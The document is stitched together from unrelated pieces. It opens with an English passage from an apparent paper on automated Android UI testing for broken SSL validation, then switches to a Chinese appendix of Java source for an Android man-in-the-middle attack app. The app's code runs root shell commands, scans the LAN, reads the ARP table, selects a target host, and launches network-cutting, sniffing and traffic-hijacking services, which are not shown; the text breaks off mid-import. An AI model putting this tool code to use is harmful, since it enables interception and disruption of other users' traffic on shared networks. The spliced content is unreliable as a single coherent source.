A system meeting these requirements could be used at the market level (e.g., on Google Play) to enforce stricter security requirements, or by organizations who want to enforce strict security requirements on employee's devices: software on devices could prevent non-vetted apps from being installed, and as employees request apps, they could be analyzed automatically and efficiently, rather than requiring a manually-maintained whitelist of acceptable apps.

B. Challenges and Key Techniques

Towards realizing these goals, we have identified the following challenges and techniques:

Simulating User Interaction Simulating user interaction with the app requires understanding what is being displayed on the screen and providing intelligent input. As an example, consider the login screen of an online banking app. A typical login screen will contain username and password text boxes, possibly a "remember me" check box, and a login button which will submit the user's credentials when clicked. The user will typically provide input to these elements in this order, starting with the username, and ending with tapping the login button. A useful UI automation component should be able to simulate this behavior without the need for human intervention or guidance.

After analyzing existing tools for UI automation, we have concluded that these challenges require new techniques. In particular, Google's Monkey tool [17] cannot accurately simulate the controlled behavior of the user because it provides randomized UI events. Another existing UI automation framework is Robotium [14], which is a popular tool used widely by Android developers for testing. This framework is tightly coupled with Android's instrumentation framework, which causes Robotium test scripts to be tightly coupled with the target apps. This makes it unsuitable as a generic UI automation solution as it requires a unique test script for each target app.

Managing Application State Recall from §II-B that we represent an Android app's UI as a directed graph. Then, during an app's execution, the UI behaves like a state machine, where the app's "state" is the current window being displayed. We track this state in order to direct our search of the program's UI. We have a set of "target" nodes that were identified as vulnerable entry points, and we wish to explore the program's code paths that start from these entry points. To prevent spending too much time exploring any single entry point, we wish to limit our search to the target nodes and their children. To enforce this limit, our system must be able to detect when the app transitions to a new state.

This key functionality is missing from many existing systems. While the framework proposed in [41] provides similar functionality by curtailing all code paths that lead to unwanted activities, it is not general and requires the customization of the Android OS. Therefore, our system exploits the FocusChange and WindowChange events provided by the Android ViewServer.

Testing Efficiency UI automation is typically a slow and resource-intensive process. In our experiments, we find that UI automation takes an average of approximately 45 seconds to traverse all of the possible UI paths on one window. In order to maintain feasibility, we use static analysis techniques to drastically reduce the number of windows we must test. Our system disassembles each app and checks for a custom implementation of the X509TrustManager or HostNameVerifier interfaces. If any such implementation is found, we construct a method call graph and trace the invocation of the potentially vulnerable code back to the appropriate window. We can then eliminate apps that do not provide such custom implementations, as they will use the (correct) built-in SSL certificate validation procedure. Among those apps that do override these interfaces, our UI automation component can restrict the automation to those entry-point windows identified as invoking the overridden SSL certificate validation interface.

Even with the speedup we achieve from static analysis, the sheer number of available Android apps makes sequential testing of apps prohibitively slow. To achieve enough of a speedup to make testing large markets feasible, we must test multiple apps in a parallel manner.

Large Scale Automation Another key challenge is the orchestration of multiple Android emulators for parallel execution of UI automation. Google's MonkeyRunner [12] tool is designed to support multiple emulators running in parallel, but it has several shortcomings that prevent its use in our large scale automation scenario. One of the more severe problems is its lack of error propagation. Most of the methods provided by the MonkeyRunner API [11] have no return value and throw no exceptions. Thus, API users are not provided any feedback in cases where the intended action fails, making the API unpredictable. For example, the press method sends a specified key press event to the emulator. If the key press event dispatch fails, the user will be oblivious to the failure. This lack of immediate, explicit feedback when failures occur prevents users from taking corrective action.

To address these issues, we have built a device management component based on the Android ADB tooling framework [3]. It manages the emulators and orchestrates the process of installing apps, executing UI automation, and collecting statistics such as app logs and network traffic logs, while being tolerant towards the erratic behavior of the emulator.

附件 5

部分源代码

工具类

ShellUtils.java（执行 shell 命令工具）

```
/**
 * @Title: ShellUtils.java
 * @Package: com.github.fdxxw.utils
 * @Description: TODO
 * @author fdxxw ucmxxw@163.com
 * @date 2017年3月11日 下午3:27:44
 */
package com.github.fdxxw.mitmstu.utils;
import java.io.BufferedReader;
import java.io.DataOutputStream;
import java.io.InputStreamReader;
/**
 * @Description shell工具
 * @author fdxxw ucmxxw@163.com
 * @date 2017年3月11日 下午3:27:44
 */
public class ShellUtils {
    /** @Fields COMMAND_SU: 获取root权限命令*/
    public final static String COMMAND_SU = "su" ;
    /** @Fields COMMAND_SH: shell解析器 /bin/sh  */
    public final static String COMMAND_SH = "sh" ;
    /** @Fields COMMAND_EXIT: 退出终端 */
    public final static String COMMAND_EXIT = "exit\n" ;
    /** @Fields COMMAND_LINE_END: 结束符*/
    public final static String COMMAND_LINE_END = "\n" ;
    /**
     * @Description 检查是否具有root权限
     * @author fdxxw ucmxxw@163.com
     * @return
     */
    public static boolean checkRootPermission() {
        return execCommand("echo root", true, false, true).result == 0;
    }
```

```
    /**
     * @Description 执行一个命令
     * @author fdxxw ucmxxw@163.com
     * @param command
     * @param isRoot
     * @param isNeedResultMsg
     * @param exit
     */
    public static CommandResult execCommand(String command, boolean isRoot,
            boolean isNeedResultMsg, boolean exit) {
        return execCommand(new String[] { command }, isRoot, isNeedResultMsg,
                exit);
    }
    public static CommandResult execCommand(String[] commands,boolean
isNeedRoot,boolean isNeedResultMsg,boolean exit ) {
        int result = -1;
        if(commands == null || commands.length == 0) {
            return new CommandResult(result,null,null);
        }
        Process process = null;
        BufferedReader successResult = null;
        BufferedReader errorResult = null;
        StringBuilder successMsg = null;
        StringBuilder errorMsg = null;
        DataOutputStream os = null;
        try {
            process = Runtime.getRuntime().exec(isNeedRoot ? COMMAND_SU:COMMAND_SH);
            os = new DataOutputStream(process.getOutputStream());
            for(String command : commands) {
                if(command == null) {
                    continue;
                }
                os.write(command.getBytes());
                os.write(COMMAND_LINE_END.getBytes());
                os.flush();
            }
            if(exit) {
                os.write(COMMAND_EXIT.getBytes());
                os.flush();
            }
```

```
            result = process.waitFor();
            if(isNeedResultMsg) {
                successMsg = new StringBuilder();
                errorMsg = new StringBuilder();
                successResult = new BufferedReader(new
InputStreamReader(process.getInputStream()));
                errorResult = new BufferedReader(new
InputStreamReader(process.getErrorStream()));
                String s;
                while((s = successResult.readLine()) != null) {
                    successMsg.append(s);
                }
                while((s = errorResult.readLine()) != null) {
                    errorMsg.append(s);
                }
            }
        }catch (Exception e) {
            e.printStackTrace();
        } finally {
            try {
                if(os != null) {
                    os.close();
                }
                if(successResult != null) {
                    successResult.close();
                }
                if(errorResult != null) {
                    errorResult.close();
                }
            } catch (Exception e) {
                // TODO: handle exception\
                e.printStackTrace();
            }
            if(process != null) {
                process.destroy();
            }
        }
        return new CommandResult(result, successMsg == null ? null
                : successMsg.toString(), errorMsg == null ? null
                : errorMsg.toString());
```

```
    }
    /**
     * @Description 执行命令返回的结果
     * @author fdxxw ucmxxw@163.com
     * @date 2017年3月11日 下午4:23:13
     */
    public static class CommandResult {
        /** @Fields result:命令执行结果 */
        public int result ;
        /** @Fields successMsg: 命令执行成功的消息*/
        public String successMsg;
        /** @Fields errorMsg:命令执行失败的消息 */
        public String errorMsg;
        public CommandResult() {}
        public CommandResult(int result) {
            this.result = result;
        }
        public CommandResult(int result,String successMsg,String errorMsg) {
            this.result = result;
            this.successMsg = successMsg;
            this.errorMsg = errorMsg;
        }
    }
}
```

NetworkUtils.java（网络工具类）

```
/**
 * @Title: NetworkUtils.java
 * @Package: com.github.fdxxw.mitmstu.utils
 * @author fdxxw ucmxxw@163.com
 * @date 2017年3月17日 下午12:23:03
 */
package com.github.fdxxw.mitmstu.utils;
import java.net.InetAddress;
import java.net.NetworkInterface;
import java.net.SocketException;
import java.util.Enumeration;
import org.apache.http.conn.util.InetAddressUtils;
import com.github.fdxxw.mitmstu.activity.HostsActivity;
import com.github.fdxxw.mitmstu.utils.ShellUtils.CommandResult;
```

```
import android.util.Log;
/**
 * @Description 网络方面工具
 * @author fdxxw ucmxxw@163.com
 * @date 2017年3月17日 下午12:23:03
 */
public class NetworkUtils {
    /**
     * 获取网关MAC
     * @author fdxxw ucmxxw@163.com
     * @return
     */
    public static String getGatewayMac() {
        String gatewayMac = null;
        new UDPThread(getGateway()).start();
        CommandResult result = ShellUtils.execCommand("arp -a " + getGateway(), false,
true, true);
        String[] msgs = result.successMsg.split("\\s");
        for(String msg : msgs) {
            if(msg.trim().matches("([A-Fa-f0-9]{2}:){5}[A-Fa-f0-9]{2}")) {
                gatewayMac = msg;
                break;
            }
        }
        return gatewayMac;
    }
    /**
     * 获取网关地址
     * @author fdxxw ucmxxw@163.com
     * @return
     */
    public static String getGateway() {
        String gateway = null;
        try {
           String netInterface =
NetworkInterface.getByInetAddress(getInetAddress()).getDisplayName();
           CommandResult result = ShellUtils.execCommand("getprop dhcp." +
netInterface + ".gateway", false, true, true);
           gateway = result.successMsg;
       } catch (SocketException e) {
```

```
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
         return gateway;
    }
    /**
     * @Description ip地址转int
     * @author fdxxw ucmxxw@163.com
     * @param ipAddress
     * @return  int
     */
    public static long ipToint(String ipAddress) {
        long result = 0;
        String[] ipAddressInArray = ipAddress.split("\\.");

        for (int i = 3; i >= 0; i--) {
            long ip = Long.parseLong(ipAddressInArray[3 - i]);
            result |= ip << (i * 8);
        }
        return result;
    }
    /**
     * @Description int ip 转字符串
     * @author fdxxw ucmxxw@163.com
     * @param ip
     * @return  String
     */
    public static String intToIp2(long ip) {
        return ((ip >> 24) & 0xFF) + "."
            + ((ip >> 16) & 0xFF) + "."
            + ((ip >> 8) & 0xFF) + "."
            + (ip & 0xFF);
    }
    /**
     * @Description 根据掩码位数获取主机数
     * @author fdxxw ucmxxw@163.com
     * @param maskBit
     * @return  int
     */
    public static int getHostCount(int maskBit) {
```

```
        return (int)(Math.pow(2, 32-maskBit)-2);
    }
    /**
     * @Description   根据ip获取掩码位数
     * @author fdxxw ucmxxw@163.com
     * @param ip
     * @return  int
     */
    public static int getMaskBitByIp(String ip) {
        int maskBit = 0;
        CommandResult result = ShellUtils.execCommand("ip a", false, true, true);
        String successMsg = result.successMsg;
        int start = successMsg.lastIndexOf(ip) + ip.length() + 1;
        maskBit = Integer.parseInt(successMsg.substring(start, start + 2));
        return maskBit;
    }
    /**
     * @Description 根据掩码位数获取掩码地址
     * @author fdxxw ucmxxw@163.com
     * @param maskBit
     * @return  String
     */
    public static String getMaskFromBit(int maskBit) {
        if(maskBit > 32)
            return null;
        int[] tempMask = {0,0,0,0};
        int times = maskBit/8;    //多少个8位
        int i = 0;
        for(;i<times;i++) {
            tempMask[i] = 255;
        }
        for(int j=1;j<=8;j++) {
            if(j <= maskBit-times*8) {
                tempMask[i] += (int) Math.pow(2, 8-j);
            } else {
                break;
            }
        }
        return Integer.toString(tempMask[0]) + "." + Integer.toString(tempMask[1]) +
"." +Integer.toString(tempMask[2]) + "." + Integer.toString(tempMask[3]);
```

```
}
/**
 * byte数组Ip转成Int类型Ip
 * @param ip_byte
 * @return int
 */
public static int byteIpToInt(byte[] ip_byte) {
    return ((ip_byte[0] & 0xff) << 24) + ((ip_byte[1] & 0xff) << 16)
            + ((ip_byte[2] & 0xff) << 8) + (ip_byte[3] & 0xff);
}
/**
 * 查找下一个IP
 * @param int_ip
 * @return
 */
public static long nextIntIp(long int_ip) {
    int next_ip = -1;
    byte[] ip_byte = intIpToByte(int_ip);
    int i = ip_byte.length - 1;

    while (i >= 0 && ip_byte[i] == (byte) 0xff) {
        ip_byte[i] = 0;
        i--;
    }
    if (i >= 0)
        ip_byte[i]++;
    else
        return next_ip;
    next_ip = byteIpToInt(ip_byte);
    return next_ip;
}
/**
 * Int类型IP转成byte数组
 *
 * @param int_ip
 * @return
 */
public static byte[] intIpToByte(long int_ip) {
    byte[] ip_byte = new byte[4];
    ip_byte[3] = (byte) (int_ip & 0xff);
```

```
        ip_byte[2] = (byte) (0xff & int_ip >> 8);
        ip_byte[1] = (byte) (0xff & int_ip >> 16);
        ip_byte[0] = (byte) (0xff & int_ip >> 24);
        return ip_byte;
    }
    /**
     * @Description 获取本机InetAddress
     * @author fdxxw ucmxxw@163.com
     * @return  InetAddress
     */
    public static InetAddress getInetAddress() {
        InetAddress inetAddress = null;
        try {
            Enumeration<NetworkInterface> en =
NetworkInterface.getNetworkInterfaces();
            //遍历所有网络接口
            while(en.hasMoreElements()) {
                NetworkInterface networks = en.nextElement();
             // 得到每一个网络接口绑定的所有ip
                Enumeration<InetAddress> address = networks.getInetAddresses();
             // 遍历每一个接口绑定的所有ip
                while(address.hasMoreElements()) {
                    InetAddress ip = address.nextElement();
                    if(!ip.isLoopbackAddress() &&
InetAddressUtils.isIPv4Address(ip.getHostAddress())) {
                        inetAddress = ip;


                    }
                }
            }
        }catch (SocketException e) {
            // TODO: handle exception
            Log.e("", "获取本地ip地址失败");
            e.printStackTrace();
        }
        return inetAddress;
    }
    /**
     * String mac转byte[]
     * @param mac_string
```

```
     * @return
     */
    public static byte[] stringMacToByte(String mac_string) {
        byte[] mac_byte = new byte[6];
        if (mac_string == null)
            return mac_byte;
        String[] mac_strs = mac_string.split(":");
        if (mac_strs.length != 6) {
            mac_strs = mac_string.split("-");
        }
        for (int i = 0; i < 6; i++) {
            mac_byte[i] = Integer.valueOf(mac_strs[i], 16).byteValue();
        }
        return mac_byte;
    }
    /**
     * @Description byte的Mac转String
     * @author fdxxw ucmxxw@163.com
     * @param byteMac
     * @return
     */
    public static String byteMacToStr(byte[] macBytes) {
        StringBuilder value = new StringBuilder();
        for(int i = 0;i < macBytes.length; i++){
            String sTemp = "";
            if((0xFF &  macBytes[i]) < 0x0F) {
                sTemp = "0" + Integer.toHexString(0xFF &  macBytes[i]);
            } else {
                sTemp = Integer.toHexString(0xFF &  macBytes[i]);
            }
            if(i == macBytes.length-1) {
             value.append(sTemp);
            } else {
             value.append(sTemp + ":");
            }
        }
        return value.toString();
    }
}
```

UDPThread.java（发送UDP报文）

```
package com.github.fdxxw.mitmstu.utils;
import java.io.IOException;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;
import java.net.UnknownHostException;
public class UDPThread extends Thread {
    String target_ip;
    String message = "hello";
    public UDPThread(String target_ip) {
        this.target_ip = target_ip;
    }
    public UDPThread(String target_ip,String message) {
        this.target_ip = target_ip;
        this.message = message;
    }
    public void run() {
        DatagramSocket socket = null;
        try {
            socket = new DatagramSocket();
            // Log.d(TAG, target_ip);
            InetAddress address = InetAddress.getByName(target_ip);
            DatagramPacket packet = new DatagramPacket(message.getBytes(),
message.length(), address, 137);
            socket.setSoTimeout(200);
            socket.send(packet);
            socket.close();
        } catch (UnknownHostException e) {
        } catch (IOException e) {
        } finally {
            if (socket != null)
                socket.close();
        }
    }
}
```

FileUtils.java（操作文件类）

```
package com.github.fdxxw.mitmstu.utils;
import java.io.File;
import java.io.FileReader;
import java.io.FileWriter;
```

```
import android.util.Log;
public class FileUtils {
    public static void storeData(File path,String JSONData) {
    try {
        FileWriter w = new FileWriter(path);
        w.write(JSONData);
        w.flush();
        w.close();
    } catch(Exception e) {
        Log.e("err", e.getMessage());
    } finally {
    }
    }
    public static String readData(File path) {
        StringBuffer sb = new StringBuffer();
        try {
            FileReader fr = new FileReader(path);
            char[] buf = new char[1];
            int ch = 0;
            while((ch = fr.read(buf)) != -1) {
                sb.append(buf);
            }
            fr.close();
        } catch(Exception e) {
        }
        return sb.toString();
    }
}
```

Activity 类

MainActivity.java（主界面）

```
/**
 * @Title: MainActivity.java
 * @Package: com.github.fdxxw.mitmstu.activity
 * @Description: TODO
 * @author fdxxw ucmxxw@163.com
 * @date 2017年3月11日 下午6:19:29
 */
package com.github.fdxxw.mitmstu.activity;
import android.content.Intent;
```

```
import android.os.Bundle;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.TextView;
import com.github.fdxxw.mitmstu.R;
import com.github.fdxxw.mitmstu.common.AppContext;
import com.github.fdxxw.mitmstu.common.ConfirmDialog;
import com.github.fdxxw.mitmstu.common.ConfirmDialog.ClickListenerInterface;
import com.github.fdxxw.mitmstu.utils.ShellUtils;
import com.suke.widget.SwitchButton;
import com.suke.widget.SwitchButton.OnCheckedChangeListener;
public class MainActivity extends ActionBarActivity {
    private Button scanLanBtn;
    private SwitchButton protectSwitchButton;
    private View historyView;
    private String protect_cmds = String.format("arp -s %s %s", AppContext.getGateway(),
AppContext.getGatewayMac());
        private String close_protect_cmds = String.format("arp -d %s",
AppContext.getGateway());
    private boolean isProtected;
    private TextView localhostInfoView;
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
       // setBarTitle(Html.fromHtml("<b>" + getString(R.string.app_name) + "</b>"));
        setContentView(R.layout.activity_main);
        if(AppContext.getmInetAddress() == null) {
        final ConfirmDialog confirm = new ConfirmDialog(MainActivity.this, "系统提示
", "确定", "没有连接WiFi网络", "取消");
        confirm.show();
        confirm.setClickListener(new ClickListenerInterface() {
                @Override
                public void doConfirm() {
                    confirm.dismiss();
                }
                @Override
                public void doCancel() {
                    confirm.dismiss();
                }
```

```
            });
        }
        scanLanBtn = (Button)findViewById(R.id.scan_lan_btn);
        protectSwitchButton =
(SwitchButton)findViewById(R.id.protect_switch_button);
        localhostInfoView = (TextView)findViewById(R.id.localhost_info);
        localhostInfoView.setText("本机IP地址：" + AppContext.getStringIp() + "\n本机
MAC地址：" + AppContext.getMac() + "\n网关IP地址：" + AppContext.getGateway() + "\n
网关MAC地址：" + AppContext.getGatewayMac() + "\n本机存储路径：" +
AppContext.getmStoragePath());
        if(AppContext.getTarget() != null) {
         localhostInfoView.append("\n正在攻击的主机IP地址：" +
AppContext.getTarget().getIp() + "\n正在攻击的主机MAC地址：" +
AppContext.getTarget().getMac());
        }
        historyView = findViewById(R.id.hijack_history);
        isProtected = AppContext.getBoolean("is_protected", false);
        protectSwitchButton.setChecked(isProtected);
        if(isProtected) {
            ShellUtils.execCommand(protect_cmds, true, false, true);
        }
        protectSwitchButton.setOnCheckedChangeListener(new OnCheckedChangeListener()
{
            @Override
            public void onCheckedChanged(SwitchButton view, boolean isChecked) {
                AppContext.putBoolean("is_protected", isChecked);
                if (isChecked) {
                    ShellUtils.execCommand(new String[] { close_protect_cmds,
protect_cmds }, true, false, true);
                } else {
                    ShellUtils.execCommand(close_protect_cmds, true, false, true);
                }
            }
        });
        scanLanBtn.setOnClickListener(new OnClickListener() {
            @Override
            public void onClick(View arg0) {
                startActivity(new Intent(MainActivity.this, HostsActivity.class));
            }
        });
```

```
        historyView.setOnClickListener(new OnClickListener() {
            @Override
            public void onClick(View arg0) {
                startActivity(new Intent(MainActivity.this, FileActivity.class));
            }
        });
    }
}
```

HostsActivity.java（显示活动主机）

```
package com.github.fdxxw.mitmstu.activity;
import java.io.IOException;
import java.io.RandomAccessFile;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;
import java.net.UnknownHostException;
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.ScheduledThreadPoolExecutor;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import com.github.fdxxw.mitmstu.R;
import com.github.fdxxw.mitmstu.adapter.HostsAdapter;
import com.github.fdxxw.mitmstu.common.AppContext;
import com.github.fdxxw.mitmstu.common.WeakHandler;
import com.github.fdxxw.mitmstu.entity.LanHost;
import com.github.fdxxw.mitmstu.utils.NetworkUtils;
import com.github.fdxxw.mitmstu.utils.ShellUtils;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.os.Message;
import android.text.Html;
import android.view.View;
import android.widget.AdapterView;
import android.widget.AdapterView.OnItemClickListener;
import android.widget.ListView;
```

```
/**
 * @Description
 * @author fdxxw ucmxxw@163.com
 * @date 2017年3月20日 上午10:22:52
 */
public class HostsActivity extends ActionBarActivity {
    private final static int DATA_CHANGED = 1;     //arp缓存改变
    private final static int DATA_HOST_ALIAS_CHANGED = 2;    //alias改变
    private static final Pattern ARP_TABLE_PARSER = Pattern
            .compile("^([\\d]{1,3}\\.[\\d]{1,3}\\.[\\d]{1,3}\\.[\\d]{1,3})\\s+([0-9
-a-fx]+)\\s+([0-9-a-fx]+)\\s+([a-f0-9]{2}:[a-f0-9]{2}:[a-f0-9]{2}:[a-f0-9]{2}:[a-f
0-9]{2}:[a-f0-9]{2})\\s+([^\\s]+)\\s+(.+)$",
                    Pattern.CASE_INSENSITIVE);
    private static boolean stop = true;   //停止扫描
    private Thread arpReader = null;   //读取arp缓存表
    private Thread scanThread = null;   //扫描局域网

    private ListView hostListView;
    private HostsAdapter hostAdapter;
    private List<LanHost> mHosts;
    private List<LanHost> mCheckHosts;   //检查重复
    private HostHandler mHandler = new HostHandler(this);
    private ScheduledThreadPoolExecutor stpe = null;
    private String netInterface = null;
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState,R.layout.activity_hosts);
        setBarTitle(Html.fromHtml("<b>" + getString(R.string.host_list) + "</b>"));
        netInterface = AppContext.getNetInterface();
        hostListView = (ListView)findViewById(R.id.host_listview);
        mCheckHosts = new ArrayList<LanHost>();
        mHosts = new ArrayList<LanHost>();
        hostAdapter = new HostsAdapter(mHosts, this);
        hostListView.setAdapter(hostAdapter);
        startScan();
        hostListView.setOnItemClickListener(new OnItemClickListener() {
            @Override
            public void onItemClick(AdapterView<?> parent, View view, int position,
long id) {
                LanHost target = (LanHost)parent.getItemAtPosition(position);
```

```
                AppContext.setTarget(target);
                startActivity(new Intent(HostsActivity.this, MitmActivity.class));
            }
        });
        mHosts.clear();
        LanHost myself = new LanHost(NetworkUtils.intToIp2(AppContext.getInt_ip()),
AppContext.getMac());
        mHosts.add(myself);
    }
    public static class HostHandler extends WeakHandler<HostsActivity> {
        public HostHandler(HostsActivity ref) {
            super(ref);
        }
        @Override
        public void handleMessage(Message msg) {
            HostsActivity activity = getRef().get();
            if (activity != null) {
                if (msg.what == DATA_CHANGED) {
                    activity.mHosts.add((LanHost) msg.obj);
                    activity.hostAdapter.notifyDataSetChanged();
                     } else if (msg.what == DATA_HOST_ALIAS_CHANGED) {
                    int i = msg.arg1;
                    LanHost host = activity.mHosts.get(i);
                    host.setAlias((String) msg.obj);
                    activity.hostAdapter.notifyDataSetChanged();
                }
            }
        }
    }
    /**
     * 读取arp缓存表 每隔三秒一次
     * @author fdxxw ucmxxw@163.com
     * @date 2017年3月20日 下午12:42:53
     */
    class ArpReaderThread extends Thread {
        ExecutorService executor;
        public void run() {
            if (executor != null && !executor.isShutdown()) {
                executor.shutdownNow();
                executor = null;
```

```
            }
            executor = Executors.newFixedThreadPool(5);
            RandomAccessFile fileReader = null;
            try {
                fileReader = new RandomAccessFile("/proc/net/arp", "r");
                StringBuilder sb = new StringBuilder();
                int len = -1;
                String line = null;
                Matcher matcher = null;
                synchronized (HostsActivity.class) {
                    while (!stop) {
                        fileReader.seek(0);
                        while (!stop && (len = fileReader.read()) >= 0) {
                            sb.append((char) len);
                            if (len != '\n')
                                continue;
                            line = sb.toString();
                            sb.setLength(0);
                            if ((matcher = ARP_TABLE_PARSER.matcher(line)) != null &&
matcher.find()) {
                                String address = matcher.group(1), flags =
matcher.group(3), hwaddr = matcher.group(4), device = matcher.group(6);
                                if (device.equals(netInterface)
&& !hwaddr.equals("00:00:00:00:00:00") && flags.contains("2")) {


                                    boolean contains = false;
                                    for (LanHost h : mCheckHosts) {
                                        if (h.getMac().equals(hwaddr) ||
h.getIp().equals(address)) {
                                            contains = true;
                                            break;
                                        }
                                    }
                                    if (!contains) {
                                        byte[] mac_bytes =
NetworkUtils.stringMacToByte(hwaddr);
                                        //String vendor =
NetworkUtils.vendorFromMac(mac_bytes);
                                        LanHost host = new LanHost(address, hwaddr,
```

```
"");
                                        mCheckHosts.add(host);
                                        mHandler.obtainMessage(DATA_CHANGED,
host).sendToTarget();
                                        //executor.execute(new
RecvThread(address));
                                    }
                                }
                            }
                        }
                        Thread.sleep(3000);
                    }
                } catch (Exception e) {
                    e.printStackTrace();
                } finally {
                    try {
                        if (fileReader != null)
                            fileReader.close();
                    } catch (IOException e) {
                        e.printStackTrace();
                    }
                    if (executor != null)
                        executor.shutdownNow();
                }
            }
        }

        /**
         * 多线程按照IP地址递增扫描 ping扫描
         * @author fdxxw ucmxxw@163.com
         * @date 2017年3月20日 下午12:57:15
         */
        class ScanThread extends Thread {
            ExecutorService executor;
            final static String ping = "ping -c 1 -w 0.5";   //ping 命令  -c发送次数  -w
等待时间
            @Override
            public void run() {
                if(null != executor && !executor.isShutdown()) {
```

```
                executor.shutdown();
                executor = null;
            }
            executor = Executors.newFixedThreadPool(10);
            long next_int_ip = 0;
            try {
                next_int_ip = AppContext.getInt_net_mask() &
AppContext.getInt_gateway();
                for(int i=0;i<AppContext.getHostCount();i++) {
                    next_int_ip = NetworkUtils.nextIntIp(next_int_ip);
                    if(next_int_ip != -1) {
                        String ip = NetworkUtils.intToIp2(next_int_ip);
                        //ShellUtils.execCommand(ping + " " + ip, false, false, true);
                        executor.execute(new UDPThread(ip));
                        //Thread.sleep(500);
                    }
                }
            } catch(Exception e) {
                e.printStackTrace();
            }
        }
    }
    /**
     * 发送udp数据包
     * @author fdxxw ucmxxw@163.com
     *
     */
    class UDPThread extends Thread {
    String target_ip;
        public UDPThread(String target_ip) {
            this.target_ip = target_ip;
        }

        public void run() {
            DatagramSocket socket = null;
            try {
                socket = new DatagramSocket();
                // Log.d(TAG, target_ip);
                InetAddress address = InetAddress.getByName(target_ip);
                DatagramPacket packet = new DatagramPacket("hello".getBytes(),
```

```
"hello".length(), address, 137);
                socket.setSoTimeout(200);
                socket.send(packet);
                socket.close();
            } catch (UnknownHostException e) {
            } catch (IOException e) {
            } finally {
                if (socket != null)
                    socket.close();
            }
        }
    }

    private void startScan() {
        stop = false;
        if(null != scanThread && !scanThread.isAlive()) {
            scanThread.interrupt();
            scanThread = null;
        }
        scanThread = new ScanThread();
        scanThread.start();
       /* if(null != stpe && !stpe.isShutdown()) {
            stpe.shutdownNow();
            stpe = null;
        }*/
        if(null != arpReader && !arpReader.isAlive()) {
            arpReader.interrupt();
            arpReader = null;
        }
        arpReader = new ArpReaderThread();
        arpReader.start();
    }
    private void stopScan() {
        stop = true;
        if(null != arpReader && !arpReader.isAlive()) {
            arpReader.interrupt();
            arpReader = null;
        }
        if(null != stpe && !stpe.isShutdown()) {
            stpe.shutdownNow();
```

```
            stpe = null;
        }
        if(null != scanThread && !scanThread.isAlive()) {
            scanThread.interrupt();
            scanThread = null;
        }
    }
    @Override
    public void onBackPressed() {
        stopScan();
        finish();
        super.onBackPressed();
    }
    @Override
    protected void onResume() {
        startScan();
        super.onResume();
    }
    @Override
    protected void onPause() {
        stopScan();
        super.onPause();
    }
}
```

MitmActivity.java（选择攻击方式）

```
package com.github.fdxxw.mitmstu.activity;
import com.github.fdxxw.mitmstu.R;
import com.github.fdxxw.mitmstu.common.AppContext;
import com.github.fdxxw.mitmstu.service.ArpService;
import com.github.fdxxw.mitmstu.service.ProxyService;
import com.github.fdxxw.mitmstu.service.SniffService;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.text.Html;
import android.view.View;
import android.view.View.OnClickListener;
public class MitmActivity extends ActionBarActivity implements OnClickListener{
    @Override
    protected void onCreate(Bundle savedInstanceState) {
```

```
        super.onCreate(savedInstanceState,R.layout.activity_mitm);
        setBarTitle(Html.fromHtml("<b>" + getString(R.string.attacker_ways) +
"</b>"));
        findViewById(R.id.mitm_broken_network).setOnClickListener(this);
        findViewById(R.id.mitm_sniff).setOnClickListener(this);
        findViewById(R.id.mitm_hijack).setOnClickListener(this);
    }
    @Override
    public void onClick(View v) {
        switch(v.getId()) {
        case R.id.mitm_broken_network : {
            if(AppContext.isBrokenNetworkRunning) {
                stopService(new Intent(MitmActivity.this, ArpService.class));
            }

            startActivity(new
Intent(MitmActivity.this,BrokenNetworkActivity.class));
            break;
        }
        case R.id.mitm_sniff : {
            if(AppContext.isSniffRunning) {
                stopService(new Intent(MitmActivity.this,SniffService.class));
            }
            startActivity(new Intent(MitmActivity.this,SniffActivity.class));
            break;
        }
        case R.id.mitm_hijack : {
            if(AppContext.isHijackRunning) {
                stopService(new Intent(MitmActivity.this,ProxyService.class));
            }
            startActivity(new Intent(MitmActivity.this,HijackActivity.class));
        }
        default : break;
        }
    }
}
```

BrokenNetworkActivity.java（断网攻击）

```
package com.github.fdxxw.mitmstu.activity;
import com.github.fdxxw.mitmstu.R;
```

```
import com.github.fdxxw.mitmstu.common.AppContext;
import com.github.fdxxw.mitmstu.entity.LanHost;
import com.github.fdxxw.mitmstu.service.ArpService;
import com.suke.widget.SwitchButton;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.text.Html;
import android.widget.TextView;
public class BrokenNetworkActivity extends ActionBarActivity {
    private TextView brokenNetInfo;
    private SwitchButton switchButton;
    private Intent intent;
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState,R.layout.activity_broken_network);
        setBarTitle(Html.fromHtml("<b>" + getString(R.string.broken_network_name) +
"</b>"));
        intent = new Intent(BrokenNetworkActivity.this, ArpService.class);
        intent.putExtra("arpChratWay", ArpService.ONE_WAY_HOST);
        switchButton = (SwitchButton)findViewById(R.id.switch_button);  //开关

        if(AppContext.isBrokenNetworkRunning) {
            switchButton.setChecked(true);
        } else {
            switchButton.setChecked(false);
        }
        brokenNetInfo = (TextView)findViewById(R.id.broken_network_info);
        LanHost target = AppContext.getTarget();
        if(target != null) {
            brokenNetInfo.append("被攻击者ip:" + target.getIp() + "\n被攻击者MAC:" +
target.getMac());
        }
        switchButton.setOnCheckedChangeListener(new
SwitchButton.OnCheckedChangeListener() {
            @Override
            public void onCheckedChanged(SwitchButton view, boolean isChecked) {
                if(isChecked) {
                    AppContext.isBrokenNetworkRunning = true;
                    startService(intent);
```

```
            } else {
                AppContext.isBrokenNetworkRunning = false;
                stopService(intent);
            }
        }
    });
  }
}
```

SniffActivity.java（数据嗅探）

```
package com.github.fdxxw.mitmstu.activity;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
import org.apache.commons.codec.binary.Hex;
import org.apache.commons.codec.binary.StringUtils;
import com.alibaba.fastjson.JSON;
import com.github.fdxxw.mitmstu.R;
